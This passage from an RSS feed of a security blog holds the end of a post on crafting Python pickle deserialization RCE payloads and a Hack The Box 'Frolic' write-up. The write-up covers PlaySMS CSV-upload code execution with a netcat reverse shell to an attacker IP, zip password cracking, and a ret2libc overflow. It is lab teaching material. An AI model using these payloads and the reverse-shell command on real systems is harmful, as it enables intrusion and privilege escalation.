<li>5: <code>\x80\x05\x95#\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94C\x08uname -a\x94\x85\x94R\x94.</code></li></ul>

<p>The protocol versions 0 through 2 can be deserialized by Python 2, while the versions 3 through 5 can only be deserialized by Python 3. This aspect is important, since if the target application uses an older version of Python, then it is necessary to adjust the script to generate the respective payload.</p>

<p>Specifying which protocol version to use can be done by adding the number after the object in the <code>dumps</code> function or by using the <code>protocol=</code> argument, as shown below</p>

<pre><code class="language-python">pickle.dumps(RCE(b&#34;uname -a&#34;), 1)
pickle.dumps(RCE(b&#34;uname -a&#34;), protocol=1)
</code></pre>

<p>The other argument that will generate a different serialized object is <code>fix_imports=</code>, which will translate the module names in the serialized object when the version is lower than 3 so that they match the module names on Python 2. However, this may cause for the module name to not match the one used on the target system, meaning that it may be necessary to set this argument to <code>False</code>. In the sample output above, this was not needed as the same module name was used, however, in the sample below the output does vary due to the module being named differently</p>
<ul><li>Fixed import: <code>ccommands\nPopen\np0\n(Vuname -a\np1\ntp2\nRp3\n.</code></li>
<li>Not fixed import: <code>csubprocess\nPopen\np0\n(Vuname -a\np1\ntp2\nRp3\n.</code></li></ul>

<p>The only difference being the module name <code>subprocess</code> being changed to <code>commands</code>. If the protocol version is set to 3 or higher, the <code>fix_imports=</code> argument doesn&#39;t have any effect on the output.</p>

<p>The <code>loads</code> function will determine the protocol version prior to deserializing the data provided, this means that when attempting to exploit a vulnerable application, start lowering the version of the protocol if the payload fails and include the <code>fix_imports</code> argument as part of the testing as well.</p>
]]></content:encoded>
      <guid>https://codebeta.com/python-pickles</guid>
      <pubDate>Thu, 30 Sep 2021 17:50:39 +0000</pubDate>
    </item>
    <item>
      <title>Frolic</title>
      <link>https://codebeta.com/frolic?pk_campaign=rss-feed</link>
      <description>&lt;![CDATA[This is another Hack The Box machine that has a web application that has a vulnerability that allows for remote code execution (RCE). There&#39;s also a privilege escalation that is achived through a stack buffer overflow and using return oriented programming (ROP) technique.&#xA;&#xA;For the reverse engineering part of the machine, Radare2 is used to analyze the binary and locate all of the necessary aspects.&#xA;&#xA;!--more--&#xA;&#xA;Credentials&#xA;&#xA;These are credentials found in different parts of the host&#xA;&#xA;admin : imnothuman&#xA;admin : superduperlooperpasswordlol&#xA;admin : idkwhatispass&#xA;&#xA;Port Scan&#xA;&#xA;There are 5 open ports that were found:&#xA;&#xA;22/tcp    OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)&#xA;139/tcp   Samba smbd 3.X - 4.X (workgroup: WORKGROUP)&#xA;445/tcp   Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)&#xA;1880/tcp  Node.js (Express middleware)&#xA;9999/tcp  nginx 1.10.3 (Ubuntu)&#xA;&#xA;The Samba service is not exposing any shares that can provide more information.&#xA;Further checking the website found on port 9999/tcp.&#xA;&#xA;Website&#xA;&#xA;Accessing the on port 9999/tcp shows the default nginx installation page and points to the domain frolic.htb and pointing to the port 1880/tcp, however, that port only shows a Node-RED login and no credentials.&#xA;&#xA;Running a ffuf scan with the command ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://frolic.htb:9999/FUZZ -o scans/ffuf.9999.json -c -ic -v -r -replay-proxy http://127.0.0.1:8080 shows the following relevant results&#xA;&#xA;http://frolic.htb:9999/admin&#xA;http://frolic.htb:9999/backup&#xA;http://frolic.htb:9999/dev&#xA;http://frolic.htb:9999/test&#xA;http://frolic.htb:9999/loop&#xA;&#xA;Upon further investigation on those URLs, the only relevant ones are&#xA;&#xA;http://frolic.htb:9999/admin&#xA;http://frolic.htb:9999/backup&#xA;&#xA;The backup directory points to two plain text files that contain credentials.&#xA;&#xA;The admin page shows a login form and the JavaScript found at the URL http://frolic.htb:9999/admin/js/login.js contains the credentials in clear text&#xA;&#xA;var attempt = 3; // Variable to count number of attempts.&#xA;// Below function Executes on click of login button.&#xA;function validate(){&#xA;var username = document.getElementById(&#34;username&#34;).value;&#xA;var password = document.getElementById(&#34;password&#34;).value;&#xA;if ( username == &#34;admin&#34; &amp;&amp; password == &#34;superduperlooperpasswordlol&#34;){&#xA;alert (&#34;Login successfully&#34;);&#xA;window.location = &#34;success.html&#34;; // Redirecting to other page.&#xA;return false;&#xA;}&#xA;else{&#xA;attempt --;// Decrementing by one.&#xA;alert(&#34;You have left &#34;+attempt+&#34; attempt;&#34;);&#xA;// Disabling fields after 3 attempts.&#xA;if( attempt == 0){&#xA;document.getElementById(&#34;username&#34;).disabled = true;&#xA;document.getElementById(&#34;password&#34;).disabled = true;&#xA;document.getElementById(&#34;submit&#34;).disabled = true;&#xA;return false;&#xA;}&#xA;}&#xA;}&#xA;&#xA;It also points to the page http://frolic.htb:9999/admin/success.html that contains the following Ook code, which is a rewrite of brainfuck.&#xA;&#xA;..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... ..... .....&#xA;..... ..... ..!.? ..... ..... .!?!! .?... ..... ..?.? !.?.. ..... .....&#xA;....! ..... ..... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!! !...! .....&#xA;..... .!.!! !!!!! !!!!! !!!.? ..... ..... ..... ..!?! !.?!! !!!!! !!!!!&#xA;!!!!? .?!.? !!!!! !!!!! !!!!! .?... ..... ..... ....! ?!!.? ..... .....&#xA;..... .?.?! .?... ..... ..... ...!. !!!!! !!.?. ..... .!?!! .?... ...?.&#xA;?!.?. ..... ..!.? ..... ..!?! !.?!! !!!!? .?!.? !!!!! !!!!. ?.... .....&#xA;..... ...!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?. ..... .....&#xA;..... .!?!! .?... ..... ..... ...?. ?!.?. ..... !.... ..... ..!.! !!!!!&#xA;!.!!! !!... ..... ..... ....! .?... ..... ..... ....! ?!!.? !!!!! !!!!!&#xA;!!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?... ....! ?!!.? ..... .?.?!&#xA;.?... ..... ....! .?... ..... ..... ..!?! !.?.. ..... ..... ..?.? !.?..&#xA;!.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .!?!! .?!!! !!!?.&#xA;?!.?! !!!!! !!!!! !!... ..... ...!. ?.... ..... !?!!. ?!!!! !!!!? .?!.?&#xA;!!!!! !!!!! !!!.? ..... ..!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!!&#xA;!.... ..... ..... ..... !.!.? ..... ..... .!?!! .?!!! !!!!! !!?.? !.?!!&#xA;!.?.. ..... ....! ?!!.? ..... ..... ?.?!. ?.... ..... ..... ..!.. .....&#xA;..... .!.?. ..... ...!? !!.?! !!!!! !!?.? !.?!! !!!.? ..... ..!?! !.?!!&#xA;!!!!? .?!.? !!!!! !!.?. ..... ...!? !!.?. ..... ..?.? !.?.. !.!!! !!!!!&#xA;!!!!! !!!!! !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .....&#xA;..... .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! .....&#xA;..!.! !!!!! !.?.&#xA;&#xA;After decoding the message Nothing here check /asdiSIAJJ0QWE9JAS is obtained, the last part is another page within the website.&#xA;&#xA;The page that is found in the URL http://frolic.htb:9999/asdiSIAJJ0QWE9JAS/ contains a Base64 encoded string&#xA;&#xA;UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwAB&#xA;BAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbs&#xA;K1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmve&#xA;EMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTj&#xA;lurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkC&#xA;AAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUG&#xA;AAAAAAEAAQBPAAAAAwEAAAAA&#xA;&#xA;The encoded string is downloaded and decoded with the command curl http://frolic.htb:9999/asdiSIAJJ0QWE9JAS/ | base64 -d | xxd and shows that it&#39;s a binary file&#xA;&#xA;504b0304140009000800c389374d23fe5b14b00000006902000009001c00&#xA;696e6465782e7068705554090003857ca75b857ca75b75780b0001040000&#xA;000004000000005e44e6104a9f73b2688a299a1b9550f06e0ba9bf5373e4&#xA;024a771a11dc8ee5a034e2f6d98f6bee7ad0128a55c896ec2b58ba7fe050&#xA;c8e112e1b687a4ead0bbe2785f13c04e895bfd8d8453aaea38f283f2e20f&#xA;914a3253c72a830344d08d7d933864540e51026bde10cad7e3e4fb6a5f9f&#xA;8bf918e994c027787f6390c216dd8f74beb2373551ac0b9a8a030e95106b&#xA;032c34b5d96229be3446b5e90609ffba84e396eae9efc72671326f8857d4&#xA;9ce339504b070823fe5b14b000000069020000504b01021e031400090008&#xA;00c389374d23fe5b14b000000069020000090018000000000001000000a4&#xA;8100000000696e6465782e7068705554050003857ca75b75780b00010400&#xA;0000000400000000504b050600000000010001004f000000030100000000&#xA;&#xA;The file is then downloaded and stored in a zip file with the command curl http://frolic.htb:9999/asdiSIAJJ0QWE9JAS/ | base64 -d   evidence/data/asdiSIAJJ0QWE9JAS.zip.&#xA;The archive is password protected, though it appears to contain a single index.php file.&#xA;Attempting to crack the password by using John with the following steps&#xA;&#xA;Create a usable hash for cracking with John by using the command zip2john evidence/data/asdiSIAJJ0QWE9JAS.zip | tee evidence/data/asdiSIAJJ0QWE9JAS.zip.hash&#xA;Start the John container with the command podman run -v ./evidence/data:/opt/cracking -it --rm --entrypoint bash docker.io/obscuritylabs/johntheripper&#xA;Crack the hash by using the command ./john --format=PKZIP --wordlist /opt/cracking/rockyou.txt /opt/cracking/asdiSIAJJ0QWE9JAS.zip.hash&#xA;&#xA;root@fb3af4a2ae0c:/opt/john/run# ./john --format=PKZIP --wordlist /opt/cracking/rockyou.txt /opt/cracking/asdiSIAJJ0QWE9JAS.zip.hash &#xA;Warning: invalid UTF-8 seen reading /opt/cracking/rockyou.txt&#xA;Using default input encoding: UTF-8&#xA;Loaded 1 password hash (PKZIP [32/64])&#xA;Will run 2 OpenMP threads&#xA;Press &#39;q&#39; or Ctrl-C to abort, almost any other key for status&#xA;password         (asdiSIAJJ0QWE9JAS.zip/index.php)&#xA;1g 0:00:00:00 DONE (2021-06-05 16:19) 100.0g/s 354600p/s 354600c/s 354600C/s 123456..sss&#xA;Use the &#34;--show&#34; option to display all of the cracked passwords reliably&#xA;Session completed&#xA;&#xA;The password password is used to extract the file from the zip archive&#xA;&#xA;❯ 7z x asdiSIAJJ0QWE9JAS.zip&#xA;&#xA;7-Zip [64] 17.04 : Copyright (c) 1999-2021 Igor Pavlov : 2017-08-28&#xA;p7zip Version 17.04 (locale=enUS.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs x64)&#xA;&#xA;Scanning the drive for archives:&#xA;1 file, 360 bytes (1 KiB)&#xA;&#xA;Extracting archive: asdiSIAJJ0QWE9JAS.zip&#xA;--&#xA;Path = asdiSIAJJ0QWE9JAS.zip&#xA;Type = zip&#xA;Physical Size = 360&#xA;&#xA;    &#xA;Enter password (will not be echoed):&#xA;Everything is Ok&#xA;&#xA;Size:       617&#xA;Compressed: 360&#xA;&#xA;The contents of the index.php file is a hex string&#xA;&#xA;4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374506973674b79737250463067506973724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a&#xA;&#xA;Decoding the hex string is done with the command xxd -r -p index.php and reveals a Base64 encoded string&#xA;&#xA;KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwr&#xA;KysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysg&#xA;K1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0t&#xA;LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg==&#xA;&#xA;By using the command cat index.php | xxd -r -p | tr -d &#39;\r\n&#39; | base64 -d the decoded data is obtained&#xA;&#xA;+++++ +++++ [-  ++ +++++ +++] ++++ +.--- --.++ +++++ .+++ [-++ +]+&#xA;++.+ ++[- ---] ---- --.-- ----- .+++ +[-+ +++] +++. +++[ ----&#xA;]-- .+++ [-++ +]+ .---. +++[ ---- ]-- ----. ++++ [-++ ++]&#xA;++..&lt; &#xA;&#xA;By decoding the brainfuck code, the string idkwhatispass is obtained.&#xA;&#xA;Further scanning is done with the ffuf command that scans recursively to locate any other directories/pages that weren&#39;t found on the first scan&#xA;&#xA;ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -recursion -recursion-depth 1 -u http://frolic.htb:9999/FUZZ -c -ic -v -replay-proxy http://127.0.0.1:8080 -o scans/ffuf.recursive.9999.json&#xA;&#xA;One relevant result is found in the URL http://frolic.htb:9999/dev/backup/ where the page only has the string /playsms and accessing the URL http://frolic.htb:9999/playsms shows the playSMS page.&#xA;&#xA;playSMS Service&#xA;&#xA;By using the credentials that were found, access was gained to the playSMS service with an admin account.&#xA;&#xA;Unable to successfully determine the version of playSMS that is being used, it is assumed that one of the file upload vulnerabilities for version 1.4 may work&#xA;&#xA;---------------------------------------------------------------------------------------- ---------------------------------&#xA; Exploit Title                                                                          |  Path&#xA;---------------------------------------------------------------------------------------- ---------------------------------&#xA;PlaySMS - &#39;import.php&#39; (Authenticated) CSV File Upload Code Execution (Metasploit)      | php/remote/44598.rb&#xA;PlaySMS - index.php Unauthenticated Template Injection Code Execution (Metasploit)      | php/remote/48335.rb&#xA;PlaySms 0.7 - SQL Injection                                                             | linux/remote/404.pl&#xA;PlaySms 0.8 - &#39;index.php&#39; Cross-Site Scripting                                          | php/webapps/26871.txt&#xA;PlaySms 0.9.3 - Multiple Local/Remote File Inclusions                                   | php/webapps/7687.txt&#xA;PlaySms 0.9.5.2 - Remote File Inclusion                                                 | php/webapps/17792.txt&#xA;PlaySms 0.9.9.2 - Cross-Site Request Forgery                                            | php/webapps/30177.txt&#xA;PlaySMS 1.4 - &#39;/sendfromfile.php&#39; Remote Code Execution / Unrestricted File Upload      | php/webapps/42003.txt&#xA;PlaySMS 1.4 - &#39;import.php&#39; Remote Code Execution                                        | php/webapps/42044.txt&#xA;PlaySMS 1.4 - &#39;sendfromfile.php?Filename&#39; (Authenticated) &#39;Code Execution (Metasploit)  | php/remote/44599.rb&#xA;PlaySMS 1.4 - Remote Code Execution                                                     | php/webapps/42038.txt&#xA;PlaySMS 1.4.3 - Template Injection / Remote Code Execution                              | php/webapps/48199.txt&#xA;---------------------------------------------------------------------------------------- ---------------------------------&#xA;Shellcodes: No Results&#xA;Papers: No Results&#xA;&#xA;Attempting to use the exploit 42003, which points to a CSV file upload that is unverified and allows for RCE.&#xA;However, this was unsuccessful, it appears that the application does check for a valid filename and doesn&#39;t execute any PHP code on the filename.&#xA;&#xA;Attempting to use the exploit 42044, this also uses a CSV file that is uploaded to the Phonebook, which is accessible via My Account -  Phonebook.&#xA;The exploit relies on the header value of the User-Agent in the request being changed and then it is executed by the page, there is no file written to disk.&#xA;The contents of the CSV file is shown below&#xA;&#xA;Name,Mobile,Email,Group code,Tags&#xA;?php $t=$SERVER[&#39;HTTPUSERAGENT&#39;]; system($t); ?,2,,,&#xA;&#xA;The request header in the upload process is then changed to &#xA;&#xA;POST http://frolic.htb:9999/playsms/index.php?app=main&amp;inc=featurephonebook&amp;route=import&amp;op=import HTTP/1.1&#xA;Host: frolic.htb:9999&#xA;User-Agent: id; hostname&#xA;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8&#xA;Accept-Language: en-US,en;q=0.5&#xA;Content-Type: multipart/form-data; boundary=---------------------------72950579317560938561223174980&#xA;Content-Length: 457&#xA;Origin: http://frolic.htb:9999&#xA;DNT: 1&#xA;Connection: keep-alive&#xA;Referer: http://frolic.htb:9999/playsms/index.php?app=main&amp;inc=featurephonebook&amp;route=import&amp;op=list&#xA;Cookie: PHPSESSID=6rl9keisf6lf85dib15uvtgve1&#xA;Upgrade-Insecure-Requests: 1&#xA;&#xA;The result is the page that confirms the upload shows the output of the command.&#xA;&#xA;In order to establish a reverse shell, the following request is sent in this process&#xA;&#xA;POST http://frolic.htb:9999/playsms/index.php?app=main&amp;inc=featurephonebook&amp;route=import&amp;op=import HTTP/1.1&#xA;Host: frolic.htb:9999&#xA;User-Agent: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2  &amp;1|nc 10.10.14.62 4444   /tmp/f&#xA;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8&#xA;Accept-Language: en-US,en;q=0.5&#xA;Content-Type: multipart/form-data; boundary=---------------------------93784517437469769342519032468&#xA;Content-Length: 457&#xA;Origin: http://frolic.htb:9999&#xA;DNT: 1&#xA;Connection: keep-alive&#xA;Referer: http://frolic.htb:9999/playsms/index.php?app=main&amp;inc=featurephonebook&amp;route=import&amp;op=list&#xA;Cookie: PHPSESSID=6rl9keisf6lf85dib15uvtgve1&#xA;Upgrade-Insecure-Requests: 1&#xA;&#xA;-----------------------------93784517437469769342519032468&#xA;Content-Disposition: form-data; name=&#34;X-CSRF-Token&#34;&#xA;&#xA;56cecb3aafb890acde113ea8ba5ef2ab&#xA;-----------------------------93784517437469769342519032468&#xA;Content-Disposition: form-data; name=&#34;fnpb&#34;; filename=&#34;test.csv&#34;&#xA;Content-Type: text/csv&#xA;&#xA;Name,Mobile,Email,Group code,Tags&#xA;?php $t=$SERVER[&#39;HTTPUSERAGENT&#39;]; system($t); ?,2,,,&#xA;&#xA;-----------------------------93784517437469769342519032468--&#xA;&#xA;This manages to successfully establish the reverse shell as the www-data user&#xA;&#xA;❯ nc -lvnp 4444&#xA;Listening on 0.0.0.0 4444&#xA;Connection received on 10.129.163.216 52410&#xA;/bin/sh: 0: can&#39;t access tty; job control turned off&#xA;$ id; hostname; pwd&#xA;uid=33(www-data) gid=33(www-data) groups=33(www-data)&#xA;frolic&#xA;/var/www/html/playsms&#xA;$ &#xA;&#xA;The config.php file contains the credentials for the MySQL database&#xA;&#xA;&lt;?php                                                                                                                                   &#xA;// PHP PEAR DB compatible database engine:                                                                                              &#xA;// mysql, mysqli, pgsql, odbc and others supported by PHP PEAR DB                                                                       &#xA;$coreconfig&#39;db&#39; = &#39;mysqli&#39;;          // database engine&#xA;$coreconfig&#39;db&#39; = &#39;localhost&#39;;       // database host/server&#xA;$coreconfig&#39;db&#39; = &#39;3306&#39;;    // database port            &#xA;$coreconfig&#39;db&#39; = &#39;root&#39;;    // database username        &#xA;$coreconfig&#39;db&#39; = &#39;ayush&#39;;   // database password                                                                            &#xA;$coreconfig&#39;db&#39; = &#39;playsms&#39;; // database name            &#xA;&#xA;Shell Access&#xA;&#xA;www-data&#xA;&#xA;The reverse shell is obtained with the user www-data and the user flag is readable by this service account&#xA;&#xA;$ ls -la /home/ayush&#xA;total 36&#xA;drwxr-xr-x 3 ayush ayush 4096 Sep 25  2018 .&#xA;drwxr-xr-x 4 root  root  4096 Sep 23  2018 ..&#xA;-rw------- 1 ayush ayush 2781 Sep 25  2018 .bashhistory&#xA;-rw-r--r-- 1 ayush ayush  220 Sep 23  2018 .bashlogout&#xA;-rw-r--r-- 1 ayush ayush 3771 Sep 23  2018 .bashrc&#xA;drwxrwxr-x 2 ayush ayush 4096 Sep 25  2018 .binary&#xA;-rw-r--r-- 1 ayush ayush  655 Sep 23  2018 .profile&#xA;-rw------- 1 ayush ayush  965 Sep 25  2018 .viminfo&#xA;-rwxr-xr-x 1 ayush ayush   33 Sep 25  2018 user.txt&#xA;$ cat /home/ayush/user.txt&#xA;2ab95909cf509f85a6f476b59a0c2fe0&#xA;&#xA;One directory that appears to be out of the default or ordinary directory structure for the user&#39;s home is .binary&#xA;&#xA;$ ls -Al /home/ayush/.binary&#xA;total 8&#xA;-rwsr-xr-x 1 root root 7480 Sep 25  2018 rop&#xA;$ file /home/ayush/.binary/rop&#xA;/home/ayush/.binary/rop: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=59da91c100d138c662b77627b65efbbc9f797394, not stripped&#xA;&#xA;Privilege Escalation&#xA;&#xA;The binary rop (MD5 001d6cf82093a0d716587169e019de7d) is downloaded from the remote system for further analysis.&#xA;&#xA;When executing the program, it shows the following message&#xA;&#xA;$ /home/ayush/.binary/rop&#xA;[] Usage: program message&#xA;&#xA;When adding any string, as mentioned in the usage message, it simply prints it to the screen.&#xA;&#xA;The Radare2 container has the 32-bit libraries necessary to run the binary, this can be done by executing the following command&#xA;&#xA;podman run -v ./:/mnt -it --rm --cap-drop=ALL --cap-add=SYSPTRACE --entrypoint bash docker.io/radare/radare2&#xA;&#xA;Loading the binary in Radare2 for assembly analysis, it shows that there are two relevant functions within the binary, the main and sym.vuln.&#xA;The main function checks if the parameter count is greater than 1 and then calls the sym.vuln function, otherwise it prints the usage message and exits the application.&#xA;&#xA;     0x080484b6      83c410         add esp, 0x10&#xA;     0x080484b9      833b01         cmp dword [ebx], 1           ; Check if parameter count is equal to 1&#xA;.--&lt; 0x080484bc      7f17           jg 0x80484d5                 ; jump if parameter count is greater than 1&#xA;|    0x080484be      83ec0c         sub esp, 0xc&#xA;|    0x080484c1      68c0850408     push str.__Usage:program_message ; 0x80485c0 ; &#34;[] Usage: program message&#34; ; const char s&#xA;|    0x080484c6      e895feffff     call sym.imp.puts           ; int puts(const char s)&#xA;|    0x080484cb      83c410         add esp, 0x10&#xA;|    0x080484ce      b8ffffffff     mov eax, 0xffffffff         ; -1&#xA;|    0x080484d3      eb19           jmp 0x80484ee               ; jumps to exit&#xA;|    ; CODE XREF from main @ 0x80484bc&#xA;&#39;--  0x080484d5      8b4304         mov eax, dword [ebx + 4]&#xA;     0x080484d8      83c004         add eax, 4&#xA;     0x080484db      8b00           mov eax, dword [eax]&#xA;     0x080484dd      83ec0c         sub esp, 0xc&#xA;     0x080484e0      50             push eax                    ; int32t arg8h&#xA;     0x080484e1      e812000000     call sym.vuln               ; Call to function that prints the entered value to the screen&#xA;&#xA;The sym.vuln function uses the function strcpy without any validation of data being passed in the arguments and this is where the BoF takes place&#xA;&#xA;┌ 58: sym.vuln (char src);&#xA;│           ; var char format @ ebp-0x30&#xA;│           ; arg char src @ ebp+0x8&#xA;│           0x080484f8      55             push ebp&#xA;│           0x080484f9      89e5           mov ebp, esp&#xA;│           0x080484fb      83ec38         sub esp, 0x38&#xA;│           0x080484fe      83ec08         sub esp, 8&#xA;│           0x08048501      ff7508         push dword [src]            ; const char src&#xA;│           0x08048504      8d45d0         lea eax, [format]&#xA;│           0x08048507      50             push eax                    ; char dest&#xA;│           0x08048508      e843feffff     call sym.imp.strcpy         ; char strcpy(char dest, const char src)&#xA;│           0x0804850d      83c410         add esp, 0x10&#xA;│           0x08048510      83ec0c         sub esp, 0xc&#xA;│           0x08048513      68dd850408     push str.__Messagesent:  ; 0x80485dd ; &#34;[+] Message sent: &#34; ; const char format&#xA;│           0x08048518      e823feffff     call sym.imp.printf         ; int printf(const char format)&#xA;│           0x0804851d      83c410         add esp, 0x10&#xA;│           0x08048520      83ec0c         sub esp, 0xc&#xA;│           0x08048523      8d45d0         lea eax, [format]&#xA;│           0x08048526      50             push eax                    ; const char format&#xA;│           0x08048527      e814feffff     call sym.imp.printf         ; int printf(const char format)&#xA;│           0x0804852c      83c410         add esp, 0x10&#xA;│           0x0804852f      90             nop&#xA;│           0x08048530      c9             leave&#xA;└           0x08048531      c3             ret&#xA;&#xA;The instruction at the address 0x080484fb shows that there is memory being allocated, this by subtracting 0x38 from the value of the esp register, this shows that there are 56 bytes being allocated.&#xA;By creating a De Bruijn string with the command ragg2 -rP 56, it is possible to obtain the specific amount of bytes needed for the buffer overflow, the string that is generated is AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASA and below is how the binary is executed within Radare2&#xA;&#xA;[0xf7f79549]  doo AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASA&#xA;Process with PID 7 started...                        &#xA;= attach 7 7                        &#xA;File dbg:///mnt/rop  AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASA reopened in read-write mode&#xA;7                     &#xA;[0xf7f0a0b0]  dc                             &#xA;[+] SIGNAL 11 errno=0 addr=0x41534141 code=1 sipid=1095975233 ret=0 &#xA;&#xA;Now check the registers with the command dr=&#xA;&#xA;[0x41534141]  dr=&#xA;    eax 0x00000038      ebx 0xffba42b0      ecx 0x00000000      edx 0xf7ef9890&#xA;    esi 0xf7ef8000      edi 0xf7ef8000      esp 0xffba4280      ebp 0x52414151&#xA;    eip 0x41534141   eflags 0x00010282     oeax 0xffffffff  &#xA;&#xA;The eip register is the one that is relevant in this case, this value is what specifies the amount of padding needed to generate the BoF and where to start with the payload, the output below shows the amount of bytes that are needed&#xA;&#xA;[0x41534141]  wopO dr eip&#xA;52&#xA;&#xA;This can be confirmed by generating a new string that has 52 A and 4 B characters, this can be done by running the command python -c &#34;print(&#39;A&#39;52 + &#39;BBBB&#39;)&#34;, when using this string on the application the eip register should have the value 0x42424242&#xA;&#xA;[0x41534141]  doo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB&#xA;Process with PID 8 started...&#xA;= attach 8 8&#xA;File dbg:///mnt/rop  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB reopened in read-write mode&#xA;8&#xA;[0xf7ef70b0]  dc&#xA;[+] SIGNAL 11 errno=0 addr=0x42424242 code=1 sipid=1111638594 ret=0&#xA;[0x42424242]  drr&#xA;role reg    value    refstr&#xA;―――――――――――――――――――――――――――&#xA;A0   eax    38       56 .shstrtab eax ascii (&#39;8&#39;)&#xA;A1   ebx    ffee7680 [stack] ebx stack R W 0x2&#xA;A2   ecx    0        0&#xA;A3   edx    f7ee6890 edx&#xA;     esi    f7ee5000 esi,edi&#xA;     edi    f7ee5000 esi,edi&#xA;SP   esp    ffee7650 [stack] esp stack R W 0xffee7800&#xA;BP   ebp    41414141 ebp ascii (&#39;A&#39;)&#xA;PC   eip    42424242 eip ascii (&#39;B&#39;)&#xA;     xfs    0        0&#xA;     xgs    63       99 .shstrtab ascii (&#39;c&#39;)&#xA;     xcs    23       35 .comment ascii (&#39;#&#39;)&#xA;     xss    2b       43 .comment ascii (&#39;+&#39;)&#xA;     eflags 10282    eflags&#xA;SN   oeax   ffffffff -1 oeax&#xA;&#xA;Checking the binary details with the i command, it shows that the nx is enabled, for this reason it is necessary to create a ROP chain to spawn a shell that gives access to the root account.&#xA;Due to this flag that is enabled, it is necessary to search for a couple of objects in the libc.so.6 library that is running on the target host, the following steps are followed&#xA;&#xA;Obtain the memory address of the libc.so.6 library with the command ldd rop, for this instance the address is 0xb7e19000 and the path of the library is /lib/i386-linux-gnu/libc.so.6&#xA;Obtain the offset address of the system function with the command readelf -s /lib/i386-linux-gnu/libc.so.6 | grep &#34;system&#34;, for this instance the offset is 0x0003ada0&#xA;Obtain the offset address of the exit function with the command readelf -s /lib/i386-linux-gnu/libc.so.6 | grep &#34;exit&#34;, for this instance the offset is 0x0002e9d0&#xA;Obtain the offset address of the /bin/sh string with the command strings -tx /lib/i386-linux-gnu/libc.so.6 | grep &#34;/bin/sh&#34;, for this instance the offset is 0x15ba0b&#xA;&#xA;Below is the output of all the commands mentioned in the steps above&#xA;&#xA;$ ldd rop&#xA;        linux-gate.so.1 =  (0xb7fda000)&#xA;        libc.so.6 =  /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)&#xA;        /lib/ld-linux.so.2 (0xb7fdb000)&#xA;$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep &#34;system&#34;&#xA;   245: 00112f20    68 FUNC    GLOBAL DEFAULT   13 svcerrsystemerr@@GLIBC2.0&#xA;   627: 0003ada0    55 FUNC    GLOBAL DEFAULT   13 libcsystem@@GLIBCPRIVATE&#xA;  1457: 0003ada0    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC2.0&#xA;$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep &#34;exit&#34;&#xA;   112: 0002edc0    39 FUNC    GLOBAL DEFAULT   13 _cxaatquickexit@@GLIBC2.10&#xA;   141: 0002e9d0    31 FUNC    GLOBAL DEFAULT   13 exit@@GLIBC2.0&#xA;   450: 0002edf0   197 FUNC    GLOBAL DEFAULT   13 